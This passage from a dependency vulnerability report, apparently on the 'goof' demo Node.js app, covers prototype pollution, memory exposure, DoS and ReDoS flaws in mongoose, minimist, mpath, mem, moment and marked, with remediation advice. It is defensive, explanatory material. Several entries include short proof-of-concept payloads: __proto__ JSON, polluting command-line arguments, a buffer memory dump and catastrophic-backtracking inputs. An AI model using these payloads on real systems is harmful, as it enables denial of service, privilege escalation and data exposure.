When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade mpath to version 0.8.4 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mongoose +
  • + +
  • Introduced through: + + goof@1.0.1 and mongoose@4.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

+

Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema() function is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype.

+

PoC

+
mongoose = require('mongoose');
+        mongoose.version; //'5.12.0'
+        var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
+        console.log('Before:', {}.polluted); // undefined
+        mongoose.Schema(JSON.parse(malicious_payload));
+        console.log('After:', {}.polluted); // HACKED
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade mongoose to version 5.12.2 or higher.

+

References

+ + +
+ + + +
+
+

Information Exposure

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mongoose +
  • + +
  • Introduced through: + + goof@1.0.1 and mongoose@4.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

+

Affected versions of this package are vulnerable to Information Exposure. Any query object with a _bsontype attribute is ignored, allowing attackers to bypass access control.

+

Remediation

+

Upgrade mongoose to version 4.13.21, 5.7.5 or higher.

+

References

+ + +
+ + + +
+
+

Remote Memory Exposure

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mongoose +
  • + +
  • Introduced through: + + goof@1.0.1 and mongoose@4.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

A potential memory disclosure vulnerability exists in mongoose. + A Buffer field in a MongoDB document can be used to expose sensitive + information such as code, runtime memory and user data into MongoDB.

+

Details

+

Initializing a Buffer field in a document with integer N creates a Buffer + of length N with non zero-ed out memory. + Example:

+
var x = new Buffer(100); // uninitialized Buffer of length 100
+        // vs
+        var x = new Buffer('100'); // initialized Buffer with value of '100'
+        
+

Initializing a MongoDB document field in such manner will dump uninitialized + memory into MongoDB. + The patch wraps Buffer field initialization in mongoose by converting a + number value N to array [N], initializing the Buffer with N in its + binary form.

+

Proof of concept

+
var mongoose = require('mongoose');
+        mongoose.connect('mongodb://localhost/bufftest');
+        
+        // data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html
+        mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));
+        
+        var Item = mongoose.model('Item');
+        
+        var sample = new Item();
+        sample.id = 'item1';
+        
+        // This will create an uninitialized buffer of size 100
+        sample.data = 100;
+        sample.save(function () {
+            Item.findOne(function (err, result) {
+                // Print out the data (exposed memory)
+                console.log(result.data.toString('ascii'))
+                mongoose.connection.db.dropDatabase(); // Clean up everything
+                process.exit();
+            });
+        });
+        
+

Remediation

+

Upgrade mongoose to version >= 3.8.39 or >= 4.3.6.

+

If a direct dependency update is not possible, use snyk wizard to patch this vulnerability.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + moment +
  • + +
  • Introduced through: + + goof@1.0.1 and moment@2.15.1 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + moment@2.15.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

+

Affected versions of the package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks for any locale that has separate format and standalone options and format input can be controlled by the user.

+

An attacker can provide a specially crafted input to the format function, which nearly matches the pattern being matched. This will cause the regular expression matching to take a long time, all the while occupying the event loop and preventing it from processing other requests and making the server unavailable (a Denial of Service attack).

+

Disclosure Timeline

+
    +
  • October 19th, 2016 - Reported the issue to package owner.
  • +
  • October 19th, 2016 - Issue acknowledged by package owner.
  • +
  • October 24th, 2016 - Issue fixed and version 2.15.2 released.
  • +
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + minimist +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + optimist@0.6.1 + + minimist@0.0.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + coveralls@3.0.9 + + minimist@1.2.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + caching-transform@1.0.1 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + find-cache-dir@0.1.1 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-report@1.1.3 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-source-maps@1.2.3 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + spawn-wrap@1.4.2 + + mkdirp@0.5.1 + + minimist@0.0.8 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + optimist@0.6.1 + + minimist@0.0.8 + + + +
  • +
+ +
+ +
+ +

Overview

+

minimist is a parse argument options module.

+

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

+

PoC by Snyk

+
require('minimist')('--__proto__.injected0 value0'.split(' '));
+        console.log(({}).injected0 === 'value0'); // true
+        
+        require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
+        console.log(({}).injected1 === 'value1'); // true
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

+

References

+ + +
+ + + +
+
+

Denial of Service (DoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + mem +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + yargs@11.1.0 + + os-locale@2.1.0 + + mem@1.1.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

mem is an optimization used to speed up consecutive function calls by caching the result of calls with identical input.

+

Affected versions of this package are vulnerable to Denial of Service (DoS). + Old results were deleted from the cache and could cause a memory leak.

+

details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

+

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

+

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

+

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

+

Two common types of DoS vulnerabilities:

+
    +
  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

    +
  • +
  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

    +
  • +
+

Remediation

+

Upgrade mem to version 4.0.0 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The inline.text regex may take quadratic time to scan for potential email addresses starting at every point.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade marked to version 0.6.2 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing unsanitized user input to inline.reflinkSearch, if it is not being parsed by a time-limited worker thread.

+

PoC

+
import * as marked from 'marked';
+        
+        console.log(marked.parse(`[x]: x
+        
+        \\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade marked to version 4.0.10 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when unsanitized user input is passed to block.def.

+

PoC

+
import * as marked from "marked";
+        marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

